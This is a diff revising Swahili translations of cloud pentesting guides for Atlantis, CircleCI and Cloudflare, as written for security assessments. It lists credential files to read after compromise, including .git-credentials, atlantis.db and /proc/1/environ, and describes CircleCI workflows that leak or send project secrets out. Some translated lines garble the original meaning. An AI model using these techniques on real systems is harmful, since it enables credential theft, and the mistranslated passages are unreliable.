that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used. +> Ikiwa bendera ya [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` imewekwa kuwa **True**, michakato inaweza **kubainishwa** katika faili ya **`atlantis.yaml`** ya kila repo. Pia inaweza kuwa muhimu kwamba **`allowed_overrides`** inabainisha pia **`workflow`** ili **kuzuia mchakato** ambao utatumika. > -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> Hii itatoa **RCE katika seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo**. > > ```yaml > # atlantis.yaml @@ -272,9 +272,9 @@ This possibility was mentioned in a previous section: > - run: my custom apply command > ``` -#### Bypass plan/apply protections +#### Kupita mipango/maombi ya ulinzi -If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**. +Ikiwa bendera ya [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _ina_ `apply_requirements` iliyowekwa, inawezekana kwa repo **kubadilisha mipango/maombi ya ulinzi ili kupita**. ```yaml repos: - id: /.*/ @@ -282,11 +282,11 @@ apply_requirements: [] ``` #### PR Hijacking -Ikiwa mtu atatuma **`atlantis plan/apply` maoni kwenye ombi lako halali la kuvuta,** itasababisha terraform kuendesha wakati hutaki. +Ikiwa mtu atatuma **`atlantis plan/apply` maoni kwenye ombi zako halali za kuvuta,** itasababisha terraform kuendesha wakati hutaki. -Zaidi ya hayo, ikiwa huna mipangilio katika **branch protection** ya kuomba **kuangalia upya** kila PR wakati **commit mpya inatolewa** kwake, mtu anaweza **kuandika mipangilio ya uharibifu** (angalia hali za awali) katika mipangilio ya terraform, kuendesha `atlantis plan/apply` na kupata RCE. +Zaidi ya hayo, ikiwa huna mipangilio katika **branch protection** ya kuomba **kuangalia upya** kila PR wakati **commit mpya inasukumwa** kwake, mtu anaweza **kuandika mipangilio ya uharibifu** (angalia hali za awali) katika mipangilio ya terraform, kuendesha `atlantis plan/apply` na kupata RCE. -Hii ni **mipangilio** katika ulinzi wa matawi ya Github: +Hii ni **mipangilio** katika ulinzi wa branch wa Github: ![](<../images/image (216).png>) @@ -296,18 +296,18 @@ Ikiwa umeweza **kuiiba webhook secret** inayotumika au ikiwa **hakuna webhook se #### Bitbucket -Bitbucket Cloud haifai **webhook secrets**. Hii inaweza kuruhusu washambuliaji **kuiga maombi kutoka Bitbucket**. Hakikisha unaruhusu tu IP za Bitbucket. +Bitbucket Cloud **haikubali webhook secrets**. Hii inaweza kuruhusu washambuliaji **kuiga maombi kutoka Bitbucket**. Hakikisha unaruhusu tu IP za Bitbucket. - Hii inamaanisha kwamba **mshambuliaji** anaweza kufanya **maombi ya uongo kwa Atlantis** ambayo yanaonekana kana kwamba yanatoka Bitbucket. -- Ikiwa unataja `--repo-allowlist` basi wanaweza tu kuiga maombi yanayohusiana na hizo repos hivyo uharibifu mkubwa wanaoweza kufanya ni kupanga/kutumia kwenye repos zako. -- Ili kuzuia hili, ruhusu [anwani za IP za Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (angalia Anwani za IPv4 za Nje). +- Ikiwa unataja `--repo-allowlist` basi wanaweza tu kuiga maombi yanayohusiana na hizo repos hivyo uharibifu mkubwa wanaweza kufanya ni kupanga/kuomba kwenye repos zako. +- Ili kuzuia hili, ruhusu [anwani za IP za Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (angalia anwani za IPv4 za nje). ### Post-Exploitation Ikiwa umeweza kupata ufikiaji wa seva au angalau umepata LFI kuna mambo ya kuvutia unapaswa kujaribu kusoma: -- `/home/atlantis/.git-credentials` Inashikilia akreditif za ufikiaji wa vcs -- `/atlantis-data/atlantis.db` Inashikilia akreditif za ufikiaji wa vcs na maelezo zaidi +- `/home/atlantis/.git-credentials` Inayo nywila za ufikiaji wa vcs +- `/atlantis-data/atlantis.db` Inayo nywila za ufikiaji wa vcs na maelezo zaidi - `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Faili ya hali ya terraform - Mfano: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate - `/proc/1/environ` Mabadiliko ya mazingira @@ -321,48 +321,48 @@ Kwa sababu mtu yeyote anaweza kutoa maoni kwenye ombi za kuvuta za umma, hata na #### Usitumie `--allow-fork-prs` -Ikiwa unafanya kazi kwenye repo ya umma (ambayo haitashauriwa, angalia hapo juu) huwezi kuweka `--allow-fork-prs` (inarejelea kuwa si kweli) kwa sababu mtu yeyote anaweza kufungua ombi la kuvuta kutoka kwa fork yao hadi repo yako. +Ikiwa unafanya kazi kwenye repo ya umma (ambayo haitashauriwa, angalia hapo juu) huwezi kuweka `--allow-fork-prs` (inachukuliwa kuwa si kweli) kwa sababu mtu yeyote anaweza kufungua ombi la kuvuta kutoka kwa fork yao hadi repo yako. #### `--repo-allowlist` -Atlantis inahitaji uweze kutaja orodha ya ruhusa ya repos itakazokubali webhooks kutoka kupitia bendera ya `--repo-allowlist`. Kwa mfano: +Atlantis inahitaji uweze kutaja orodha ya ruhusa ya repos itakazokubali webhooks kupitia bendera ya `--repo-allowlist`. Kwa mfano: - Repos maalum: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` - Shirika lako lote: `--repo-allowlist=github.com/runatlantis/*` - Kila repo katika usakinishaji wako wa GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*` -- Repos zote: `--repo-allowlist=*`. Inatumika wakati uko kwenye mtandao uliohifadhiwa lakini hatari bila pia kuweka webhook secret. +- Repos zote: `--repo-allowlist=*`. Inatumika wakati uko katika mtandao uliohifadhiwa lakini ni hatari bila pia kuweka webhook secret. Bendera hii inahakikisha usakinishaji wako wa Atlantis haujatumika na repos usizodhibiti. Angalia `atlantis server --help` kwa maelezo zaidi. #### Linda Mipango ya Terraform -Ikiwa washambuliaji wanawasilisha maombi ya kuvuta na msimbo wa uharibifu wa Terraform uko katika mfano wako wa tishio basi lazima uwe na ufahamu kwamba idhini za `terraform apply` hazitoshi. Inawezekana kuendesha msimbo wa uharibifu katika `terraform plan` kwa kutumia [chanzo cha data cha `external`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) au kwa kutaja mtoa huduma wa uharibifu. Msimbo huu unaweza kisha kuhamasisha akreditif zako. +Ikiwa washambuliaji wanaowasilisha maombi ya kuvuta na msimbo wa uharibifu wa Terraform uko katika mfano wako wa tishio basi lazima uwe na ufahamu kwamba idhini za `terraform apply` hazitoshi. Inawezekana kuendesha msimbo wa uharibifu katika `terraform plan` kwa kutumia [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) au kwa kutaja mtoa huduma wa uharibifu. Msimbo huu unaweza kisha kuhamasisha nywila zako. Ili kuzuia hili, unaweza: 1. Kuunda mtoa huduma ndani ya picha ya Atlantis au mwenyeji na kukataa egress katika uzalishaji. 2. Tekeleza itifaki ya rejista ya mtoa huduma ndani na kukataa egress ya umma, kwa njia hiyo unadhibiti nani ana ufikiaji wa kuandika kwenye rejista. -3. Badilisha [mipangilio ya repo upande wa seva](https://www.runatlantis.io/docs/server-side-repo-config.html)'s hatua ya `plan` ili kuthibitisha dhidi ya matumizi ya watoa huduma au vyanzo vya data vilivyokatazwa au PRs kutoka kwa watumiaji wasioruhusiwa. Unaweza pia kuongeza uthibitisho wa ziada katika hatua hii, kwa mfano, kuhitaji "thumbs-up" kwenye PR kabla ya kuruhusu `plan` kuendelea. Conftest inaweza kuwa ya manufaa hapa. +3. Badilisha [mipangilio ya repo upande wa seva](https://www.runatlantis.io/docs/server-side-repo-config.html)'s hatua ya `plan` ili kuthibitisha dhidi ya matumizi ya watoa huduma au vyanzo vya data vilivyokatazwa au PRs kutoka kwa watumiaji wasioruhusiwa. Unaweza pia kuongeza uthibitisho wa ziada katika hatua hii, e.g. kuhitaji "thumbs-up" kwenye PR kabla ya kuruhusu `plan` kuendelea. Conftest inaweza kuwa ya msaada hapa. #### Webhook Secrets -Atlantis inapaswa kuendeshwa na Webhook secrets zilizowekwa kupitia mabadiliko ya mazingira ya `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Hata na bendera ya `--repo-allowlist` iliyowekwa, bila webhook secret, washambuliaji wanaweza kufanya maombi kwa Atlantis wakijifanya kama repo ambayo imeorodheshwa. Webhook secrets zinahakikisha kwamba maombi ya webhook yanatoka kwa mtoa huduma wako wa VCS (GitHub au GitLab). +Atlantis inapaswa kuendeshwa na Webhook secrets zilizowekwa kupitia mazingira ya `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Hata na bendera ya `--repo-allowlist` iliyowekwa, bila webhook secret, washambuliaji wanaweza kufanya maombi kwa Atlantis wakijifanya kuwa repo iliyo kwenye orodha ya ruhusa. Webhook secrets zinahakikisha kwamba maombi ya webhook yanatoka kwa mtoa huduma wako wa VCS (GitHub au GitLab). -Ikiwa unatumia Azure DevOps, badala ya webhook secrets ongeza jina la mtumiaji wa msingi na nenosiri. +Ikiwa unatumia Azure DevOps, badala ya webhook secrets ongeza jina la mtumiaji wa msingi na nywila. #### Azure DevOps Basic Authentication -Azure DevOps inasaidia kutuma kichwa cha uthibitishaji wa msingi katika matukio yote ya webhook. Hii inahitaji kutumia URL ya HTTPS kwa eneo lako la webhook. +Azure DevOps inasaidia kutuma kichwa cha uthibitisho wa msingi katika matukio yote ya webhook. Hii inahitaji kutumia URL ya HTTPS kwa eneo lako la webhook. #### SSL/HTTPS Ikiwa unatumia webhook secrets lakini trafiki yako iko juu ya HTTP basi webhook secrets zinaweza kuibiwa. Wezesha SSL/HTTPS kwa kutumia bendera za `--ssl-cert-file` na `--ssl-key-file`. -#### Wezesha Uthibitishaji kwenye Seva ya Mtandao ya Atlantis +#### Wezesha Uthibitisho kwenye Seva ya Mtandao ya Atlantis -Inashauriwa sana kuwezesha uthibitishaji katika huduma ya wavuti. Wezesha BasicAuth kwa kutumia `--web-basic-auth=true` na weka jina la mtumiaji na nenosiri kwa kutumia bendera za `--web-username=yourUsername` na `--web-password=yourPassword`. +Inashauriwa sana kuwezesha uthibitisho katika huduma ya wavuti. Wezesha BasicAuth kwa kutumia `--web-basic-auth=true` na weka jina la mtumiaji na nywila kwa kutumia bendera za `--web-username=yourUsername` na `--web-password=yourPassword`. -Unaweza pia kupitisha hizi kama mabadiliko ya mazingira `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` na `ATLANTIS_WEB_PASSWORD=yourPassword`. +Unaweza pia kupitisha hizi kama mazingira ya `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` na `ATLANTIS_WEB_PASSWORD=yourPassword`. ### References diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index fdb61bab0..7ad805a8a 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -1,27 +1,27 @@ -# CircleCI Security +# Usalama wa CircleCI {{#include ../banners/hacktricks-training.md}} -### Basic Information +### Taarifa za Msingi -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) ni jukwaa la Uunganishaji Endelevu ambapo unaweza **kufafanua mifano** inayoonyesha unachotaka ifanye na baadhi ya msimbo na lini ifanye hivyo. Kwa njia hii unaweza **kujiandaa kwa majaribio** au **kupeleka** moja kwa moja **kutoka kwa tawi kuu la repo yako** kwa mfano. +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) ni jukwaa la Uunganishaji Endelevu ambapo unaweza **kufafanua mifano** inayoonyesha unachotaka kifanye na wakati wa kufanya hivyo. Kwa njia hii unaweza **kujiandaa kwa majaribio** au **kupeleka** moja kwa moja **kutoka kwa tawi kuu la repo yako** kwa mfano. -### Permissions +### Ruhusa -**CircleCI** **inapata ruhusa** kutoka github na bitbucket zinazohusiana na **akaunti** inayojiandikisha.\ -Katika majaribio yangu nilikagua kwamba kadri unavyo kuwa na **ruhusa za kuandika juu ya repo katika github**, utaweza **kusimamia mipangilio ya mradi wake katika CircleCI** (weka funguo mpya za ssh, pata funguo za api za mradi, tengeneza matawi mapya na mipangilio mipya ya CircleCI...). +**CircleCI** **inaandika ruhusa** kutoka github na bitbucket zinazohusiana na **akaunti** inayojiunga.\ +Katika majaribio yangu nilikagua kwamba mradi wowote una **ruhusa za kuandika juu ya repo katika github**, utaweza **kusimamia mipangilio ya mradi wake katika CircleCI** (kufanya mipangilio mipya ya ssh, kupata funguo za api za mradi, kuunda matawi mapya na mipangilio mipya ya CircleCI...). Hata hivyo, unahitaji kuwa **admin wa repo** ili **kubadilisha repo kuwa mradi wa CircleCI**. -### Env Variables & Secrets +### Vigezo vya Mazingira & Siri -Kulingana na [**nyaraka**](https://circleci.com/docs/2.0/env-vars/) kuna njia tofauti za **kupanua thamani katika mabadiliko ya mazingira** ndani ya mchakato. +Kulingana na [**nyaraka**](https://circleci.com/docs/2.0/env-vars/) kuna njia tofauti za **kuchaji thamani katika vigezo vya mazingira** ndani ya mchakato. -#### Built-in env variables +#### Vigezo vya mazingira vilivyojengwa ndani -Kila kontena linalotumiwa na CircleCI litakuwa na [**mabadiliko maalum ya mazingira yaliyofafanuliwa katika nyaraka**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) kama `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` au `CIRCLE_USERNAME`. +Kila kontena linalotumiwa na CircleCI litakuwa na [**vigezo maalum vya mazingira vilivyofafanuliwa katika nyaraka**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) kama `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` au `CIRCLE_USERNAME`. -#### Clear text +#### Maandishi wazi Unaweza kuyatangaza kwa maandiko wazi ndani ya **amri**: ```yaml @@ -60,21 +60,21 @@ SECRET: A secret #### Siri za Mradi Hizi ni **siri** ambazo zitakuwa **zinapatikana** tu na **mradi** (kwa **tawi lolote**).\ -Unaweza kuziona **zimeelezwa katika** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ +Unaweza kuziona **zilizoelezwa katika** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ ![](<../images/image (129).png>) > [!CAUTION] -> Kazi ya "**Kuagiza Vigezo**" inaruhusu **kuagiza vigezo kutoka miradi mingine** hadi hii. +> Kazi ya "**Import Variables**" inaruhusu **kuagiza mabadiliko kutoka miradi mingine** hadi hii. #### Siri za Muktadha -Hizi ni siri ambazo ni **za shirika lote**. Kwa **kawaida kila repo** itakuwa na uwezo wa **kupata siri yoyote** iliyohifadhiwa hapa: +Hizi ni siri ambazo ni **za shirika lote**. Kwa **kawaida repo yoyote** itakuwa na uwezo wa **kupata siri yoyote** iliyohifadhiwa hapa: ![](<../images/image (123).png>) > [!TIP] -> Hata hivyo, kumbuka kwamba kundi tofauti (badala ya Wanachama Wote) linaweza **kuchaguliwa ili kutoa ufaccessi wa siri kwa watu maalum**.\ +> Hata hivyo, kumbuka kwamba kundi tofauti (badala ya Wanachama Wote) linaweza **kuchaguliwa ili kutoa ufaccessi kwa siri kwa watu maalum**.\ > Hii kwa sasa ni moja ya njia bora za **kuongeza usalama wa siri**, ili kuto ruhusu kila mtu kuzipata bali watu wachache tu. ### Mashambulizi @@ -85,17 +85,17 @@ Ikiwa una **ufaccessi kwa VCS** (kama github) angalia faili `.circleci/config.ym #### Siri za Env Vars & Uainishaji wa Muktadha -Ukikagua msimbo unaweza kupata **majina yote ya siri** yanayotumika katika kila faili `.circleci/config.yml`. Unaweza pia kupata **majina ya muktadha** kutoka kwa hizo faili au kuangalia kwenye console ya wavuti: _https://app.circleci.com/settings/organization/github/\/contexts_. +Ukikagua msimbo unaweza kupata **majina yote ya siri** yanayotumika katika kila faili ya `.circleci/config.yml`. Unaweza pia kupata **majina ya muktadha** kutoka kwa hizo faili au kuangalia kwenye console ya wavuti: _https://app.circleci.com/settings/organization/github/\/contexts_. #### Fanya Uhamishaji wa Siri za Mradi > [!WARNING] -> Ili **kuhamasisha ZOTE** siri za mradi na muktadha **UNAHITAJI** tu kuwa na **UFACCESSI WA KUANDIKA** kwa **repo 1 tu** katika shirika lote la github (_na akaunti yako inapaswa kuwa na ufaccessi kwa muktadha lakini kwa kawaida kila mtu anaweza kupata kila muktadha_). +> Ili **kuhamasisha ZOTE** siri za mradi na muktadha **unahitaji tu** kuwa na **UFACCESSI WA KUANDIKA** kwa **repo 1 tu** katika shirika lote la github (_na akaunti yako lazima iwe na ufaccessi kwa muktadha lakini kwa kawaida kila mtu anaweza kupata kila muktadha_). > [!CAUTION] -> Kazi ya "**Kuagiza Vigezo**" inaruhusu **kuagiza vigezo kutoka miradi mingine** hadi hii. Hivyo, mshambuliaji anaweza **kuagiza vigezo vyote vya mradi kutoka kwa repos zote** na kisha **kuhamasisha zote pamoja**. +> Kazi ya "**Import Variables**" inaruhusu **kuagiza mabadiliko kutoka miradi mingine** hadi hii. Hivyo, mshambuliaji anaweza **kuagiza mabadiliko yote ya mradi kutoka kwa repo zote** na kisha **kuhamasisha yote pamoja**. -Siri zote za mradi kila wakati zimewekwa katika env ya kazi, hivyo tu kuita env na kuificha kwa base64 itahamisha siri katika **console ya logi ya wavuti ya workflows**: +Siri zote za mradi kila wakati zimewekwa katika env ya kazi, hivyo kuitwa tu env na kuificha kwa base64 itahamisha siri katika **console ya logi ya kazi za wavuti**: ```yaml version: 2.1 @@ -114,7 +114,7 @@ exfil-env-workflow: jobs: - exfil-env ``` -Ikiwa **huna ufikiaji wa console ya wavuti** lakini una **ufikiaji wa repo** na unajua kuwa CircleCI inatumika, unaweza tu **kuunda workflow** ambayo inachochewa kila dakika na ambayo **inasafirisha siri kwa anwani ya nje**: +Ikiwa huna **ufikiaji wa web console** lakini una **ufikiaji wa repo** na unajua kuwa CircleCI inatumika, unaweza tu **kuunda workflow** ambayo inachochewa kila dakika na ambayo **inatoa siri kwa anwani ya nje**: ```yaml version: 2.1 @@ -163,7 +163,7 @@ jobs: - exfil-env: context: Test-Context ``` -Ikiwa **huna ufikiaji wa web console** lakini una **ufikiaji wa repo** na unajua kuwa CircleCI inatumika, unaweza tu **kubadilisha workflow** ambayo **inasababishwa kila dakika** na ambayo **inasafirisha siri kwa anwani ya nje**: +Ikiwa huna **ufikiaji wa web console** lakini una **ufikiaji wa repo** na unajua kuwa CircleCI inatumika, unaweza tu **kubadilisha workflow** ambayo **inasababishwa kila dakika** na ambayo **inasafirisha siri kwa anwani ya nje**: ```yaml version: 2.1 @@ -192,12 +192,12 @@ jobs: context: Test-Context ``` > [!WARNING] -> Kuunda tu `.circleci/config.yml` mpya katika repo **siyo ya kutosha kuanzisha ujenzi wa circleci**. Unahitaji **kuifanya kuwa mradi katika console ya circleci**. +> Kuunda tu `.circleci/config.yml` mpya katika repo **sio ya kutosha kuanzisha ujenzi wa circleci**. Unahitaji **kuwezesha kama mradi katika console ya circleci**. #### Kutoroka kwa Wingu **CircleCI** inakupa chaguo la kuendesha **ujenzi wako katika mashine zao au katika zako mwenyewe**.\ -Kwa kawaida, mashine zao ziko katika GCP, na awali huwezi kupata chochote muhimu. Hata hivyo, ikiwa mwathirika anatekeleza kazi katika **mashine zao wenyewe (labda, katika mazingira ya wingu)**, unaweza kupata **nukta ya metadata ya wingu yenye habari za kuvutia**. +Kwa default, mashine zao ziko katika GCP, na awali huwezi kupata chochote muhimu. Hata hivyo, ikiwa mwathirika anatekeleza kazi katika **mashine zao wenyewe (labda, katika mazingira ya wingu)**, unaweza kupata **nukta ya metadata ya wingu yenye habari za kuvutia**. Kumbuka kwamba katika mifano ya awali kila kitu kilizinduliwa ndani ya kontena la docker, lakini unaweza pia **kuomba kuzindua mashine ya VM** (ambayo inaweza kuwa na ruhusa tofauti za wingu): ```yaml diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 5cf035f7d..9243ff698 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -Katika akaunti ya Cloudflare kuna **mipangilio na huduma za jumla** ambazo zinaweza kuanzishwa. Katika ukurasa huu tutachambua **mipangilio inayohusiana na usalama ya kila sehemu:** +Katika akaunti ya Cloudflare kuna **mipangilio na huduma za jumla** ambazo zinaweza kuwekewa mipangilio. Katika ukurasa huu tutachambua **mipangilio inayohusiana na usalama ya kila sehemu:**
## Websites -Kagua kila moja na: +Kagua kila moja kwa: {{#ref}} cloudflare-domains.md @@ -18,7 +18,7 @@ cloudflare-domains.md - [ ] Katika **`Transfer Domains`** hakikisha kuwa haiwezekani kuhamasisha domain yoyote. -Kagua kila moja na: +Kagua kila moja kwa: {{#ref}} cloudflare-domains.md @@ -32,33 +32,33 @@ _Sikuweza kupata chochote cha kukagua kwa ajili ya ukaguzi wa usalama wa mipangi Katika kila ukurasa wa Cloudflare: -- [ ] Kagua kwa **taarifa nyeti** katika **`Build log`**. -- [ ] Kagua kwa **taarifa nyeti** katika **Github repository** iliyotengwa kwa ajili ya kurasa. -- [ ] Kagua kwa uwezekano wa kuathiriwa kwa github repo kupitia **workflow command injection** au kuathiriwa kwa `pull_request_target`. Maelezo zaidi katika [**Github Security page**](../github-security/). -- [ ] Kagua kwa **kazi zenye udhaifu** katika saraka ya `/fuctions` (ikiwa ipo), kagua **redirects** katika faili ya `_redirects` (ikiwa ipo) na **vichwa vilivyopangwa vibaya** katika faili ya `_headers` (ikiwa ipo). -- [ ] Kagua kwa **udhaifu** katika **ukurasa wa wavuti** kupitia **blackbox** au **whitebox** ikiwa unaweza **kufikia msimbo** -- [ ] Katika maelezo ya kila ukurasa `//pages/view/blocklist/settings/functions`. Kagua kwa **taarifa nyeti** katika **`Environment variables`**. -- [ ] Katika ukurasa wa maelezo kagua pia **amri ya kujenga** na **saraka ya mzizi** kwa ajili ya **uwezekano wa kuingilia** ili kuathiri ukurasa. +- [ ] Kagua **taarifa nyeti** katika **`Build log`**. +- [ ] Kagua **taarifa nyeti** katika **Github repository** iliyotengwa kwa ajili ya kurasa. +- [ ] Kagua uwezekano wa kuathiriwa kwa github repo kupitia **workflow command injection** au `pull_request_target` kuathiriwa. Maelezo zaidi katika [**Github Security page**](../github-security/). +- [ ] Kagua **kazi zenye udhaifu** katika saraka ya `/fuctions` (ikiwa zipo), kagua **redirects** katika faili ya `_redirects` (ikiwa zipo) na **vichwa vilivyowekwa vibaya** katika faili ya `_headers` (ikiwa zipo). +- [ ] Kagua **udhaifu** katika **ukurasa wa wavuti** kupitia **blackbox** au **whitebox** ikiwa unaweza **kufikia msimbo** +- [ ] Katika maelezo ya kila ukurasa `//pages/view/blocklist/settings/functions`. Kagua **taarifa nyeti** katika **`Environment variables`**. +- [ ] Katika ukurasa wa maelezo kagua pia **amri ya kujenga** na **saraka ya mzizi** kwa ajili ya **uwezekano wa kuingiza** ili kuathiri ukurasa. ## **Workers** Katika kila mfanyakazi wa Cloudflare kagua: - [ ] Vichocheo: Nini kinachofanya mfanyakazi kuanzishwa? Je, **mtumiaji anaweza kutuma data** ambayo itatumika na mfanyakazi? -- [ ] Katika **`Settings`**, kagua kwa **`Variables`** zinazokuwa na **taarifa nyeti** -- [ ] Kagua **msimbo wa mfanyakazi** na tafuta kwa **udhaifu** (hasa katika maeneo ambapo mtumiaji anaweza kudhibiti ingizo) +- [ ] Katika **`Settings`**, kagua **`Variables`** zinazokuwa na **taarifa nyeti** +- [ ] Kagua **msimbo wa mfanyakazi** na tafuta **udhaifu** (hasa katika maeneo ambapo mtumiaji anaweza kudhibiti ingizo) - Kagua kwa SSRFs zinazorejesha ukurasa ulioonyeshwa ambao unaweza kudhibiti - Kagua XSSs zinazotekeleza JS ndani ya picha ya svg - Inawezekana kwamba mfanyakazi anashirikiana na huduma nyingine za ndani. Kwa mfano, mfanyakazi anaweza kuingiliana na R2 bucket inayohifadhi taarifa ndani yake iliyopatikana kutoka kwa ingizo. Katika kesi hiyo, itahitajika kukagua ni uwezo gani mfanyakazi ana juu ya R2 bucket na jinsi gani inaweza kutumika vibaya kutokana na ingizo la mtumiaji. > [!WARNING] -> Kumbuka kwamba kwa kawaida **Mfanyakazi anapewa URL** kama `..workers.dev`. Mtumiaji anaweza kuipanga kuwa **subdomain** lakini unaweza kila wakati kuipata kwa hiyo **URL ya asili** ikiwa unajua. +> Kumbuka kwamba kwa kawaida **Mfanyakazi anapewa URL** kama `..workers.dev`. Mtumiaji anaweza kuipatia **subdomain** lakini unaweza kila wakati kuipata kwa hiyo **URL ya asili** ikiwa unajua. ## R2 Katika kila R2 bucket kagua: -- [ ] Panga **CORS Policy**. +- [ ] Weka **CORS Policy**. ## Stream @@ -86,14 +86,14 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> Tofauti na [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) kimsingi ni za kudumu — hazisaidii **operesheni za kubadilisha nyuzi** au matumizi ya kawaida. Hata hivyo, unaweza kupanga vigezo vya URL redirect vinavyoathiri tabia yao ya ulinganifu wa URL na tabia yao ya wakati wa kutekeleza. +> Tofauti na [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) kimsingi ni za kudumu — hazisaidii **operesheni zozote za kubadilisha mfuatano** au matumizi ya kawaida. Hata hivyo, unaweza kuweka vigezo vya kuhamasisha URL vinavyoathiri tabia yao ya ulinganifu wa URL na tabia yao ya wakati wa kutekeleza. -- [ ] Kagua kwamba **expressions** na **requirements** za redirects **zina maana**. -- [ ] Kagua pia kwa **mipangilio ya siri iliyofichwa** ambayo ina taarifa za kuvutia. +- [ ] Kagua kwamba **mifano** na **mahitaji** ya kuhamasisha **yanamaanisha**. +- [ ] Kagua pia kwa **nukta za siri za siri** ambazo zina taarifa za kuvutia. ## Notifications -- [ ] Kagua **notifications.** Taarifa hizi zinapendekezwa kwa usalama: +- [ ] Kagua **arifa.** Arifa hizi zinapendekezwa kwa usalama: - `Usage Based Billing` - `HTTP DDoS Attack Alert` - `Layer 3/4 DDoS Attack Alert` @@ -113,22 +113,22 @@ cloudflare-zero-trust-network.md - `Script Monitor New Script Exceeds Max URL Length Alert` - `Advanced Security Events Alert` - `Security Events Alert` -- [ ] Kagua zote **destinations**, kwani kunaweza kuwa na **taarifa nyeti** (basic http auth) katika urls za webhook. Hakikisha pia urls za webhook zinatumia **HTTPS** -- [ ] Kama ukaguzi wa ziada, unaweza kujaribu **kujifanya kuwa notification ya cloudflare** kwa upande wa tatu, labda unaweza kwa namna fulani **kuingiza kitu hatari** +- [ ] Kagua zote **sehemu**, kwani kunaweza kuwa na **taarifa nyeti** (misingi ya http auth) katika URLs za webhook. Hakikisha pia URLs za webhook zinatumia **HTTPS** +- [ ] Kama ukaguzi wa ziada, unaweza kujaribu **kujifanya kama arifa ya cloudflare** kwa chama cha tatu, labda unaweza kwa namna fulani **kuingiza kitu hatari** ## Manage Account - [ ] Inawezekana kuona **nambari 4 za mwisho za kadi ya mkopo**, **muda wa kumalizika** na **anwani ya bili** katika **`Billing` -> `Payment info`**. - [ ] Inawezekana kuona **aina ya mpango** inayotumika katika akaunti katika **`Billing` -> `Subscriptions`**. -- [ ] Katika **`Members`** inawezekana kuona wanachama wote wa akaunti na **nafasi** zao. Kumbuka kwamba ikiwa aina ya mpango si Enterprise, kuna nafasi 2 tu: Msimamizi na Msimamizi Mkuu. Lakini ikiwa **mpango unaotumika ni Enterprise**, [**nafasi zaidi**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) zinaweza kutumika kufuata kanuni ya chini ya kibali. +- [ ] Katika **`Members`** inawezekana kuona wanachama wote wa akaunti na **nafasi zao**. Kumbuka kwamba ikiwa aina ya mpango si Enterprise, kuna nafasi 2 tu: Msimamizi na Msimamizi Mkuu. Lakini ikiwa **mpango unaotumika ni Enterprise**, [**nafasi zaidi**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) zinaweza kutumika kufuata kanuni ya chini ya kibali. - Kwa hivyo, kila wakati inapowezekana ni **pendekezo** kutumia **mpango wa Enterprise**. -- [ ] Katika Wanachama inawezekana kukagua ni **wanachama** gani wana **2FA imewezeshwa**. **Kila** mtumiaji anapaswa kuwa nayo imewezeshwa. +- [ ] Katika Wanachama inawezekana kukagua ni **wanachama** gani wana **2FA iliyoanzishwa**. **Kila** mtumiaji anapaswa kuwa nayo iliyoanzishwa. > [!NOTE] -> Kumbuka kwamba kwa bahati nzuri nafasi **`Administrator`** haina ruhusa za kusimamia uanachama (**haiwezi kuongeza ruhusa au kuwaleta** wanachama wapya) +> Kumbuka kwamba kwa bahati mbaya nafasi **`Administrator`** haina ruhusa za kudhibiti uanachama (**haiwezi kuongeza mamlaka au kuwaleta** wanachama wapya) ## DDoS Investigation -[Angalia sehemu hii](cloudflare-domains.md#cloudflare-ddos-protection). +[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} diff 